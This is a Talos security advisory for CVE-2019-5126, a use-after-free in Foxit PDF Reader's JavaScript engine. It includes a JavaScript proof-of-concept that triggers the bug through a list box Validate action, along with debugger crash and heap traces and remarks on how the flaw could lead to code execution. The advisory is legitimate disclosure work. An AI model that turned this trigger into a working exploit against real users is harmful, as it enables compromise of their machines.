Talos Vulnerability Report

TALOS-2019-0915

Foxit PDF Reader Javascript Field Action Validate Remote Code Execution Vulnerability

January 16, 2020
CVE Number

CVE-2019-5126

Summary

An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software's Foxit PDF Reader version 9.7.0.29435. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit Software Foxit PDF Reader 9.7.0.29435.

Product URLs

https://www.foxitsoftware.com/products/pdf-reader/

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416: Use After Free

Details

Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.

Form fields inside PDF documents can have Javascript event handlers attached to them. Event handlers are executed when one of the specified "actions" happens. There exists a vulnerability in the way items of a list box are handled during one of these events. Excerpt from the PoC demonstrates this:

function main() { 
var field = app.activeDocs[0].getField('List Box0');
field.insertItemAt("a");
field.setAction("Validate","f();");
field.deleteItemAt(); 
}


function f(){
app.activeDocs[0].getField('List Box0').setItems(["b"]);
//UAF happens here
}

main();

In the above code, we manipulate the contents of a list box and attach a handler for "Validate" action. Validation action is triggered when the field is being modified. While Foxit Reader is executing the event handler, an object is freed and later reused. This can be lead to the following crash (with PageHeap ON):

(ccc.770): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for FoxitReader.exe -
eax=00000000 ebx=00000000 ecx=1930afd0 edx=08f60000 esi=00000000 edi=1930afd0
eip=02382e1a esp=066ee238 ebp=066ee240 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210246
FoxitReader!safe_vsnprintf+0x10fdaa:
02382e1a 3b771c          cmp     esi,dword ptr [edi+1Ch] ds:002b:1930afec=????????

0:000> kb
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
066ee240 02486cec 00000000 00000001 91ce1309 FoxitReader!safe_vsnprintf+0x10fdaa
066ee278 0177aa24 00000000 00000001 91ce13b9 FoxitReader!safe_vsnprintf+0x213c7c
066ee2c8 01752485 0dddaff8 006ee34c 066ee2fc FoxitReader!CryptUIWizExport+0x1e2ea4
066ee324 02d739bb 0dddaff8 066ee354 066ee34c FoxitReader!CryptUIWizExport+0x1ba905
066ee36c 02f3bb99 21b44e60 242bf2fd 066ee4ec FoxitReader!FXJSE_GetClass+0x22b
066ee3c0 02f3b32f 066ee408 242bf2fd 066ee4f0 FoxitReader!CFXJSE_Arguments::GetValue+0x1c7c19
066ee454 02f3b5f1 066ee488 21b44e60 066ee4e4 FoxitReader!CFXJSE_Arguments::GetValue+0x1c73af
066ee49c 02f3b48b 066ee4b4 00000005 066ee4f0 FoxitReader!CFXJSE_Arguments::GetValue+0x1c7671

Looking up the heap info of the crashing address shows that it belongs to a free chunk:

0:000> !heap -p -a edi
    address 1930afd0 found in
    _DPH_HEAP_ROOT @ a81000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   19232d34:         1930a000             2000
    6dfdae02 verifier!AVrfDebugPageHeapFree+0x000000c2
    77e12c91 ntdll!RtlDebugFreeHeap+0x0000003e
    77d73c45 ntdll!RtlpFreeHeap+0x000000d5
    77d73812 ntdll!RtlFreeHeap+0x00000222
    03ce94b7 FoxitReader!CFXJSE_Arguments::GetValue+0x00f75537
    03cc7261 FoxitReader!CFXJSE_Arguments::GetValue+0x00f532e1
    0264c51b FoxitReader!safe_vsnprintf+0x003d94ab
    0264cbae FoxitReader!safe_vsnprintf+0x003d9b3e
    0264c812 FoxitReader!safe_vsnprintf+0x003d97a2
    02380333 FoxitReader!safe_vsnprintf+0x0010d2c3
    02486483 FoxitReader!safe_vsnprintf+0x00213413
    0177ed7f FoxitReader!CryptUIWizExport+0x001e71ff
    01754915 FoxitReader!CryptUIWizExport+0x001bcd95
    02d739bb FoxitReader!FXJSE_GetClass+0x0000022b
    02f3bb99 FoxitReader!CFXJSE_Arguments::GetValue+0x001c7c19
    02f3b32f FoxitReader!CFXJSE_Arguments::GetValue+0x001c73af
    02f3b5f1 FoxitReader!CFXJSE_Arguments::GetValue+0x001c7671
    02f3b48b FoxitReader!CFXJSE_Arguments::GetValue+0x001c750b

If we examine the call stack that freed this memory, and break at FoxitReader!safe_vsnprintf+0x10d2be which ultimately leads to free(), we can see where the chunk was allocated and what size it was:

0:000> !heap -p -a 1930afd0
    address 1930afd0 found in
    _DPH_HEAP_ROOT @ a81000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                19232d34:         1930afd0               2c -         1930a000             2000
    6dfdabb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    77e1245b ntdll!RtlDebugAllocateHeap+0x00000039
    77d76dd9 ntdll!RtlpAllocateHeap+0x000000f9
    77d75ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
    77d75d3e ntdll!RtlAllocateHeap+0x0000003e
    03ce950d FoxitReader!CFXJSE_Arguments::GetValue+0x00f7558d
    0264c4bb FoxitReader!safe_vsnprintf+0x003d944b
    0264ca46 FoxitReader!safe_vsnprintf+0x003d99d6
    0264c663 FoxitReader!safe_vsnprintf+0x003d95f3
    00dba8da FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00024baa
    02487eea FoxitReader!safe_vsnprintf+0x00214e7a
    0177cec4 FoxitReader!CryptUIWizExport+0x001e5344
    017534c5 FoxitReader!CryptUIWizExport+0x001bb945
    02d739bb FoxitReader!FXJSE_GetClass+0x0000022b
    02f3bb99 FoxitReader!CFXJSE_Arguments::GetValue+0x001c7c19
    02f3b32f FoxitReader!CFXJSE_Arguments::GetValue+0x001c73af
    02f3b5f1 FoxitReader!CFXJSE_Arguments::GetValue+0x001c7671
    02f3b48b FoxitReader!CFXJSE_Arguments::GetValue+0x001c750b
    030e2ac7 FoxitReader!CFXJSE_Arguments::GetValue+0x0036eb47
    03071400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
    03071400 FoxitReader!CFXJSE_Arguments::GetValue+0x002fd480
    0306ef8f FoxitReader!CFXJSE_Arguments::GetValue+0x002fb00f
    0306edab FoxitReader!CFXJSE_Arguments::GetValue+0x002fae2b
    02daa4f6 FoxitReader!CFXJSE_Arguments::GetValue+0x00036576
    02da9fd7 FoxitReader!CFXJSE_Arguments::GetValue+0x00036057
    02d97177 FoxitReader!CFXJSE_Arguments::GetValue+0x000231f7
    02d7210f FoxitReader!FXJSE_Runtime_Release+0x00000c7f
    02d72924 FoxitReader!FXJSE_ExecuteScript+0x00000014
    016e1e22 FoxitReader!CryptUIWizExport+0x0014a2a2
    016e2c3d FoxitReader!CryptUIWizExport+0x0014b0bd
    013a251d FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x0027d94d
    013a16ce FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x0027cafe

By editing the PoC code and follow the object life in the debugger, we can see that we can execute additional Javascript code AFTER the object is freed, but before it is reused. The reuse happens after all code in event handler is executed. This means that we can manipulate the freed memory before it is reused which can lead to arbitrary code execution.

Timeline

2019-10-07 - Vendor Disclosure 2020-01-16 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.